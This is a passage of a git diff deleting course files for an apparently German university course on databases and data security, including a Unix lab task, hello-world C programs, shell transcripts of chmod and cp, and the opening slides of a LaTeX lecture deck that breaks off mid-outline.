diff --git a/20231005/dbs-20231005.pdf b/20231005/dbs-20231005.pdf deleted file mode 100644 index cd865e90d457576f636759ad549bc47eca06ee2f..0000000000000000000000000000000000000000 Binary files a/20231005/dbs-20231005.pdf and /dev/null differ diff --git a/20231011.p0/dbs-02231011.txt b/20231011.p0/dbs-02231011.txt deleted file mode 100644 index 694ef7bc4a85c628d613edba4f88ee0e909176c1..0000000000000000000000000000000000000000 --- a/20231011.p0/dbs-02231011.txt +++ /dev/null @@ -1,39 +0,0 @@ - - - "Praktikumsaufgabe Versuch 0" - ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - - a) Erstellen Sie mittels einer GUI eine Datei - und bearbeiten Sie diese anschließend - von der Unix-Kommandozeile aus. - - b) Und umgekehrt. - - 3) Schauen Sie sich auf dem Rechner um. - Welche Verzeichnisse ("Ordner") und Dateien - können Sie von der Kommandozeile aus - bzw. von der GUI aus sehen? - Was bedeuten diese? - - iv) Schreiben Sie ein C-Programm, z.B. "hello.c": - - #include <stdio.h> - - int main (void) - { - printf ("Hello, world!\n"); - return 0; - } - - Compilieren Sie es mit - - gcc -Wall -O hello.c -o hello - - und starten Sie es von der Kommandozeile aus mit - - ./hello - - sowie von der GUI aus. - - v) Lösen Sie schon mal die Übungsaufgaben für "Hardwarenahe Programmierung". - diff --git a/20231011.p0/hello-01.c b/20231011.p0/hello-01.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20231011.p0/hello-01.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20231011.p0/hello-02.c b/20231011.p0/hello-02.c deleted file mode 100644 index ad00a77d2f568db1c8e32ecc56a6dd5a38970db8..0000000000000000000000000000000000000000 --- a/20231011.p0/hello-02.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} diff --git a/20231012/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg b/20231012/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg deleted file mode 100644 index 540b94e4b65755cf24f22df226f82efcfb7c9476..0000000000000000000000000000000000000000 Binary files a/20231012/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg and /dev/null differ diff --git a/20231012/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg b/20231012/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg deleted file mode 100644 index bf66824c62be86cd93903ac8ef7ec6dfaf4631fe..0000000000000000000000000000000000000000 Binary files a/20231012/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg and /dev/null differ diff --git a/20231012/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg b/20231012/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg deleted file mode 100644 index b06b4129ed61c8308656ad7939dbb59f75b978be..0000000000000000000000000000000000000000 Binary files a/20231012/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg and /dev/null differ diff --git a/20231012/Shopping_online_with_bank_card.jpg b/20231012/Shopping_online_with_bank_card.jpg deleted file mode 100644 index b31f47b7abcfba6001cdd8e3771c8785aa9f2882..0000000000000000000000000000000000000000 Binary files a/20231012/Shopping_online_with_bank_card.jpg and /dev/null differ diff --git a/20231012/Zeichen_123.pdf b/20231012/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231012/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231012/cat-01.txt b/20231012/cat-01.txt deleted file mode 100644 index db0a17e98db801810d0e7b30ab4b046a3e56ed79..0000000000000000000000000000000000000000 --- a/20231012/cat-01.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> cat > privet.c -#include <stdio.h> - -int main (void) -{ - printf ("Привет, мир!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cat privet.c -#include <stdio.h> - -int main (void) -{ - printf ("Привет, мир!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> gcc -Wall -O privet.c -o privet -cassini/home/peter/bo/2023ws/dbs/20231012> ./privet -Привет, мир! -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/chmod-01.txt b/20231012/chmod-01.txt deleted file mode 100644 index 0acf454fa0efc8a63042f8ee8f005ea03caf0449..0000000000000000000000000000000000000000 --- a/20231012/chmod-01.txt +++ /dev/null @@ -1,13 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> chmod -r hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c ---w------- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c -cat: hello.c: Keine Berechtigung -cassini/home/peter/bo/2023ws/dbs/20231012> chmod +r hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rw-r--r-- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod -r hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod u+r hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rw------- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/chmod-02.txt b/20231012/chmod-02.txt deleted file mode 100644 index ca9cf1547e8d88985ebdaad290f7fc7ea78a757a..0000000000000000000000000000000000000000 --- a/20231012/chmod-02.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> chmod 640 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rw-r----- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod 750 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rwxr-x--- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> bc -bc 1.07.1 -Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006, 2008, 2012-2017 Free Software Foundation, Inc. -This is free software with ABSOLUTELY NO WARRANTY. -For details type `warranty'. -obase=13 -ibase=13 -6 * 9 -42 diff --git a/20231012/chmod-03.txt b/20231012/chmod-03.txt deleted file mode 100644 index 903c2a0d6c4359d07a3482e8475d78e4ac2995d0..0000000000000000000000000000000000000000 --- a/20231012/chmod-03.txt +++ /dev/null @@ -1,12 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rwxr-x--- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod uo+w g-x u-r hello.c -chmod: Zugriff auf 'g-x' nicht möglich: Datei oder Verzeichnis nicht gefunden -chmod: Zugriff auf 'u-r' nicht möglich: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231012> chmod uo+w hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod g-x hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod u-r hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c ---wxr---w- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> chmod 775 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/chmod-04.txt b/20231012/chmod-04.txt deleted file mode 100644 index 8a0364d6e465ec4359fc2d07ace5dba64b10c510..0000000000000000000000000000000000000000 --- a/20231012/chmod-04.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rwxrwxr-x 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> ./hello.c -./hello.c: Zeile 3: Syntaxfehler beim unerwarteten Symbol »(« -./hello.c: Zeile 3: `int main (void)' -cassini/home/peter/bo/2023ws/dbs/20231012> # Dies ist ein Kommentar. ;-) -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/computer-arbeitsplaetze-lores.jpg b/20231012/computer-arbeitsplaetze-lores.jpg deleted file mode 100644 index acc7176d9a820d639bd7eabc8c117925ae182dcb..0000000000000000000000000000000000000000 Binary files a/20231012/computer-arbeitsplaetze-lores.jpg and /dev/null differ diff --git a/20231012/computer-arbeitsplaetze.jpg b/20231012/computer-arbeitsplaetze.jpg deleted file mode 120000 index 7900ffd4dbb790e6135035d2fb1088e743ab52f6..0000000000000000000000000000000000000000 --- a/20231012/computer-arbeitsplaetze.jpg +++ /dev/null @@ -1 +0,0 @@ -Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg \ No newline at end of file diff --git a/20231012/cp-01.txt b/20231012/cp-01.txt deleted file mode 100644 index fb98300a8775081107be210152e7a680b5c8cd28..0000000000000000000000000000000000000000 --- a/20231012/cp-01.txt +++ /dev/null @@ -1,16 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> cp hello.c hallo.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 82 12. Okt 12:11 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cp -p hello.c hallo.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cp -p -i hello.c hallo.c -cp: 'hallo.c' überschreiben? n -cassini/home/peter/bo/2023ws/dbs/20231012> cp -pi hello.c hallo.c -cp: 'hallo.c' überschreiben? j -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/cp-02.txt b/20231012/cp-02.txt deleted file mode 100644 index 91e49dd83b7ce5cd2fdefa036e0e7d76a9a51201..0000000000000000000000000000000000000000 --- a/20231012/cp-02.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> mkdir test -cassini/home/peter/bo/2023ws/dbs/20231012> cd test -cassini/home/peter/bo/2023ws/dbs/20231012/test> cp -p ../h*.c . -cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l -insgesamt 8 --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012/test> rm h*.c -cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l -insgesamt 0 -cassini/home/peter/bo/2023ws/dbs/20231012/test> diff --git a/20231012/cp-03.txt b/20231012/cp-03.txt deleted file mode 100644 index d4ed0ae88abca47bf42bba27af9e2c9ab1a15c29..0000000000000000000000000000000000000000 --- a/20231012/cp-03.txt +++ /dev/null @@ -1,8 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012/test> cp -p ../h*.c -cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l -insgesamt 0 -cassini/home/peter/bo/2023ws/dbs/20231012/test> cd .. -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/cp-033.txt b/20231012/cp-033.txt deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/20231012/cp-04.txt b/20231012/cp-04.txt deleted file mode 100644 index f4a3a9b80ef50d3703b0b6fdcb078b7d53973077..0000000000000000000000000000000000000000 --- a/20231012/cp-04.txt +++ /dev/null @@ -1,44 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 81 12. Okt 12:18 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cd test -cassini/home/peter/bo/2023ws/dbs/20231012/test> cp ../h*.c -cassini/home/peter/bo/2023ws/dbs/20231012/test> ls -l -insgesamt 0 -cassini/home/peter/bo/2023ws/dbs/20231012/test> cd .. -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 81 12. Okt 12:18 hallo.c --rw-r--r-- 1 peter peter 81 12. Okt 12:18 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/cp-05.txt b/20231012/cp-05.txt deleted file mode 100644 index b8666bcec0ab47e40229fc036a038ca0a23288ab..0000000000000000000000000000000000000000 --- a/20231012/cp-05.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cd test -cassini/home/peter/bo/2023ws/dbs/20231012/test> cp -i ../h*.c -cp: '../hello.c' überschreiben? n -cassini/home/peter/bo/2023ws/dbs/20231012/test> diff --git a/20231012/cp-06.txt b/20231012/cp-06.txt deleted file mode 100644 index e50cf0d9114b83af254f554b54461462c549828d..0000000000000000000000000000000000000000 --- a/20231012/cp-06.txt +++ /dev/null @@ -1,4 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> cd test -cassini/home/peter/bo/2023ws/dbs/20231012/test> echo cp -i ../h*.c -cp -i ../hallo.c ../hello.c -cassini/home/peter/bo/2023ws/dbs/20231012/test> diff --git a/20231012/cp-07.txt b/20231012/cp-07.txt deleted file mode 100644 index 33610ceb0bdfcd8ada186f82b880dd3071b96073..0000000000000000000000000000000000000000 --- a/20231012/cp-07.txt +++ /dev/null @@ -1,34 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c --rw-r--r-- 1 peter peter 81 12. Okt 12:18 hallo.c --rw-r--r-- 1 peter peter 82 12. Okt 12:20 hello.c --rw-r--r-- 1 peter peter 86 12. Okt 12:26 hola.c -cassini/home/peter/bo/2023ws/dbs/20231012> cat hello.c -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cat hallo.c -#include <stdio.h> - -int main (void) -{ - printf ("Hallo, Welt!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cat hola.c -#include <stdio.h> - -int main (void) -{ - printf ("¡Hola, el mundo!\n"); - return 0; -} -cassini/home/peter/bo/2023ws/dbs/20231012> cd test -cassini/home/peter/bo/2023ws/dbs/20231012/test> cp ../h*.c -cp: Ziel '../hola.c': Ist kein Verzeichnis -cassini/home/peter/bo/2023ws/dbs/20231012/test> echo cp ../h*.c -cp ../hallo.c ../hello.c ../hola.c -cassini/home/peter/bo/2023ws/dbs/20231012/test> diff --git a/20231012/cp-08.txt b/20231012/cp-08.txt deleted file mode 100644 index 51dda7ccdf989bd169c09644870543535585846b..0000000000000000000000000000000000000000 --- a/20231012/cp-08.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l test -insgesamt 0 -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l hello.c --rw-r--r-- 1 peter peter 82 12. Okt 12:20 hello.c -cassini/home/peter/bo/2023ws/dbs/20231012> cp hello.c test/hello-world.c -cassini/home/peter/bo/2023ws/dbs/20231012> ls -l test -insgesamt 4 --rw-r--r-- 1 peter peter 82 12. Okt 12:31 hello-world.c -cassini/home/peter/bo/2023ws/dbs/20231012> diff --git a/20231012/dbms-ohne-computer.jpg b/20231012/dbms-ohne-computer.jpg deleted file mode 120000 index e7cc236c7e146500d960f15a709f62938e54b9b9..0000000000000000000000000000000000000000 --- a/20231012/dbms-ohne-computer.jpg +++ /dev/null @@ -1 +0,0 @@ -A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg \ No newline at end of file diff --git a/20231012/dbs-20231012.tex b/20231012/dbs-20231012.tex deleted file mode 100644 index 0fd7a102e182b7ec95b4a8b2a7357ac4981d4a8d..0000000000000000000000000000000000000000 --- a/20231012/dbs-20231012.tex +++ /dev/null @@ -1,1316 +0,0 @@ -% dbs-20231012.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Unix-Kommandozeile: eine Programmiersprache - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{tikz} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{12.\ Oktober 2023} - -\begin{document} - -\maketitleframe - -\sectionnonumber{Vorab: Online-Werkzeuge} - -\begin{frame} - - \showsectionnonumber - \begin{itemize} - \item - Diese Veranstaltung findet \textbf{in Präsenz} statt.\\ - Wir versuchen aber, auch eine Online-Teilnahme zu ermöglichen. - \medskip - \item - \textbf{Mumble}: Seminarraum 2\\ - Fragen: Mikrofon einschalten oder über den Chat\\ - Umfragen: über den Chat -- \textbf{auch während der Präsenz-Veranstaltung} - \smallskip - \item - \textbf{VNC}: Kanal 6, Passwort: \lstinline[style=cmd]{testcvh}\\ - Eigenen Bildschirm freigeben: VNC-Software oder Web-Interface \emph{yesVNC}\\ - Eigenes Kamerabild übertragen: Web-Interface \emph{CVH-Camera} - \smallskip - \item - Allgemeine Informationen: - \url{https://www.cvh-server.de/online-werkzeuge/} - \smallskip - \item - Notfall-Schnellzugang: \url{https://www.cvh-server.de/virtuelle-raeume/}\\ - Seminarraum 2, VNC-Passwort: \lstinline[style=cmd]{testcvh} -% \smallskip -% \item -% Bei Problemen: bitte notieren:\\ -% Art des Problems, genaue Uhrzeit, eigener Internet-Zugang - \bigskip - \item - \textbf{Lehrmaterialien:} \url{https://gitlab.cvh-server.de/pgerwinski/dbs} - \end{itemize} - -\end{frame} - -\section{Einführung} -\subsection{Was sind Datenbanken?} - -\begin{frame} - - \showsubsectionnonumber - - Datenbank = Datenbestand + System, um darauf zuzugreifen - - \bigskip - - Anforderungen an Datenbank \href{https://de.wikipedia.org/wiki/Datenbank}{[Wikipedia]}:\\ - \begin{minipage}[t]{0.27\textwidth} - \begin{itemize} - \item effizient - \item widerspruchsfrei - \item dauerhaft - \end{itemize} - \end{minipage}\quad - \begin{minipage}[t]{0.65\textwidth} - \begin{itemize} -% \pause - \arrowitem Sortierung, Zugriffsalgorithmen -% \pause - \arrowitem automatische Konsistenzprüfungen -% \pause - \arrowitem Backup, Ausfallsicherheit - \end{itemize} - \end{minipage} - -\end{frame} - -\subsubsection{Datenbank ohne Computer} - -\begin{frame} - - \showsubsectionnonumber - - \strut\hfill - \begin{picture}(0,0) - \put(0,-0.5){\makebox(0,2)[tr]{\includegraphics[width=0.41\textwidth]{dbms-ohne-computer.jpg}}} - \put(0,-7.0){\makebox(0,0)[tr]{% - \begin{minipage}{\textwidth} - \begin{flushright} - \scriptsize - Bildquelle: - \href{https://commons.wikimedia.org/wiki/File:A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg}% - {\nolinkurl{https://commons.wikimedia.org/wiki/File:A_Day_in_the_Life_of_a_}\\ - \nolinkurl{Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg}} - \par - \end{flushright} - \end{minipage}}} - \end{picture}\\[-2.4ex] - - \showsubsubsectionnonumber - - \begin{itemize} -% \pause - \item - menschliche Anwesenheit erforderlich -% \pause - \item - sorgfältig geordnet - für effizienten Zugriff\\ - \textarrow\ sorgfältiger Umgang erforderlich,\\ - \phantom{\textarrow\ }um Ordnung zu erhalten -% \pause - \item - Jeweils 1 Person kann\\ - an 1 Papier arbeiten.\\ - \textarrow\ Hardware-Unterstützung\\ - \phantom{\textarrow\ }für Konsistenz -% \pause - \item - Kopien sehr aufwendig\\ - \textarrow\ sorgfältige Archivierung erforderlich - \end{itemize} - -\end{frame} - -\subsubsection{Zentraler Computer} - -\begin{frame} - - \showsubsectionnonumber - - \strut\hfill - \begin{picture}(0,0) - \put(0,-0.5){\makebox(0,2)[tr]{\includegraphics[width=0.56\textwidth]{zentraler-computer-lores.jpg}}} - \put(0,-7.0){\makebox(0,0)[tr]{% - \begin{minipage}{\textwidth} - \begin{flushright} - \scriptsize - Bildquelle: - \href{https://commons.wikimedia.org/wiki/File:Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg}% - {\nolinkurl{https://commons.wikimedia.org/wiki/File:Ken_Thompson_(sitting)_}\\ - \nolinkurl{and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg}} - \par - \end{flushright} - \end{minipage}}} - \end{picture}\\[-2.4ex] - - \showsubsubsectionnonumber - - \begin{itemize} -% \pause - \item - menschliche Anwesenheit\\ - erforderlich -% \pause - \item - sorgfältig geordnet für\\ - effizienten Zugriff\\ - \textarrow\ Computer kann helfen,\\ - \phantom{\textarrow\ }Ordnung zu erhalten -% \pause - \item - Jeweils 1 Person kann\\ - am Computer arbeiten.\\ - \textarrow\ Hardware-Unterstützung für Konsistenz -% \pause - \item - Backups möglich - \end{itemize} - -\end{frame} - -\subsubsection{Zentraler Computer,\\Zugriff von Arbeitsplätzen aus} - -\begin{frame} - - \showsubsectionnonumber - - \strut\hfill - \begin{picture}(0,0) - \put(0,-0.5){\makebox(0,2)[tr]{\includegraphics[width=0.56\textwidth]{computer-arbeitsplaetze-lores.jpg}}} - \put(0,-7.0){\makebox(0,0)[tr]{% - \begin{minipage}{\textwidth} - \begin{flushright} - \scriptsize - Bildquelle: - \href{https://commons.wikimedia.org/wiki/File:Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg}% - {\nolinkurl{https://commons.wikimedia.org/wiki/File:Computergebouw_van_KLM_voor_automatische_}\\ - \nolinkurl{boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg}}% - \par - \end{flushright} - \end{minipage}}} - \end{picture}\\[-2.4ex] - - \showsubsubsectionnonumber - - \begin{itemize} -% \pause - \item - Arbeiten auf\\ - Entfernung möglich -% \pause - \item - sorgfältig geordnet für\\ - effizienten Zugriff\\ - \textarrow\ Computer kann helfen,\\ - \phantom{\textarrow\ }Ordnung zu erhalten -% \pause - \item - Mehrere Personen können unbemerkt\\ - gleichzeitig an denselben Daten arbeiten.\\ - \textarrow\ Computer muß helfen, Konsistenz zu erhalten -% \pause - \item - Backups möglich - \end{itemize} - -\end{frame} - -\subsubsection{Zentraler Computer,\\öffentlicher Zugriff} - -\begin{frame} - - \showsubsectionnonumber - - \strut\hfill - \begin{picture}(0,0) - \put(0,-0.5){\makebox(0,2)[tr]{\includegraphics[width=0.56\textwidth]{online-shop-lores.jpg}}} - \put(0,-7.0){\makebox(0,0)[tr]{% - \begin{minipage}{\textwidth} - \begin{flushright} - \scriptsize - Bildquelle: - \url{https://commons.wikimedia.org/wiki/File:Shopping_online_with_bank_card.jpg} - \par - \end{flushright} - \end{minipage}}} - \end{picture}\\[-2.5ex] - - \showsubsubsectionnonumber - - \begin{itemize} -% \pause - \item - Selbstbedienung auf\\ - Entfernung möglich -% \pause - \item - sorgfältig geordnet für\\ - effizienten Zugriff\\ - \textarrow\ Computer muß\\ - \phantom{\textarrow\ }selbständig Ordnung erhalten -% \pause - \item - Mehrere Personen können unbemerkt\\ - gleichzeitig an denselben Daten arbeiten.\\ - \textarrow\ Computer muß selbständig Konsistenz erhalten -% \pause - \item - Backups möglich -% \pause - \medskip - \item - Bessere Zugriffsmöglichkeiten \textarrow\ Datensicherheit wird Herausforderung - \end{itemize} - -\end{frame} - -\subsection{Was ist Datensicherheit?} - -\begin{frame} - - \showsubsectionnonumber - - \begin{minipage}[t]{0.24\textwidth} - \begin{itemize} - \item[] \strut - \item Vertraulichkeit - \item Integrität - \item Verfügbarkeit - \end{itemize} - \end{minipage}% -% \pause - \begin{minipage}[t]{0.25\textwidth} - \begin{itemize} - \item[] (CIA) - \item[] (confidentiality) - \item[] (integrity) - \item[] (availability) - \end{itemize} - \end{minipage}\quad - \begin{minipage}[t]{0.45\textwidth} - \begin{itemize} - \item[] \strut -% \pause - \arrowitem Verschlüsselung -% \pause - \arrowitem Konsistenzprüfungen -% \pause - \arrowitem Backups, Ausfallsicherheit - \end{itemize} - \end{minipage} - -% \pause - \bigskip - - \begin{itemize} - \item - Identifizierbarkeit\\ - (Authentizität, Nichtabstreitbarkeit, Zurechenbarkeit)\\ - \textarrow\ Passwörter, Signaturen\\[\smallskipamount] -% \pause - bzw. - \item - Anonymität\\ - (plausible Abstreitbarkeit, Nichtzurechenbarkeit)\\ - \textarrow\ Pseudonymisierung, Anonymisierung\\[\smallskipamount] - \end{itemize} - -\end{frame} - -\subsection{In dieser Lehrveranstaltung} - -\begin{frame} - - \showsubsectionnonumber - - \begin{itemize} - \item - Kurzeinführung: Unix-Shell - \item - Kurzeinführung: TCP/IP - \item - relationale Datenbank-Management-Systeme (DBMS) - \item - SQL-Programmierung - \item - sonstige Datenbank-Management-Systeme - \bigskip - \item - Kurzeinführung: Kryptographie - \item - Kryptographie in der Praxis:\\ - Passwörter, Verschlüsselung, Signaturen - \item - Schlüssel-Infrastrukturen - \item - Datenschutz - \end{itemize} - -% \pause - \vfilll - \underconstruction - -\end{frame} - -\begin{frame} - - \showsubsectionnonumber - - \textbf{3 Praktikumsversuche} - \begin{enumerate}\addtocounter{enumi}{-1} - \visible<2->{\item - Praxiserfahrung mit Unix und TCP/IP} - \item - Selbstbau eines einfachen DBMS - \item - Sicherheitsprüfung ("`Hacking"') eines Online-Shops - \item - Selbstbau einer prototypischen, sicheren Datenbankanwendung -% \visible<2->{\item[\boldmath$\infty\kern-1.18em\infty\kern-1.18em\infty$.] -% Selbstbau einer praxistauglichen, sicheren Datenbankanwendung} - \end{enumerate} - \visible<2->{Keine festen Abgabetermine, sondern:\\ - Angebot zum betreuten Arbeiten im DV-Pool,\\ - Vorzeigen (Testieren) der Ergebnisse} - - \bigskip - - \visible<2->{\textbf{Statt Klausur: Projektaufgabe}\\ - Selbstbau einer praxistauglichen, sicheren Datenbankanwendung} - - \vfilll - \underconstruction - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \begin{itemize} - \color{medgreen} - \item[1.1] Was sind Datenbanken? - \item[1.2] Was ist Datensicherheit? - \item[1.3] In dieser Lehrveranstaltung - \end{itemize} - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \color{medgreen} - \item[2.1] Grundkonzepte - \color{orange} - \item[2.2] Die Kommandozeile: Grundlagen - \color{red} - \item[2.3] Dateisysteme 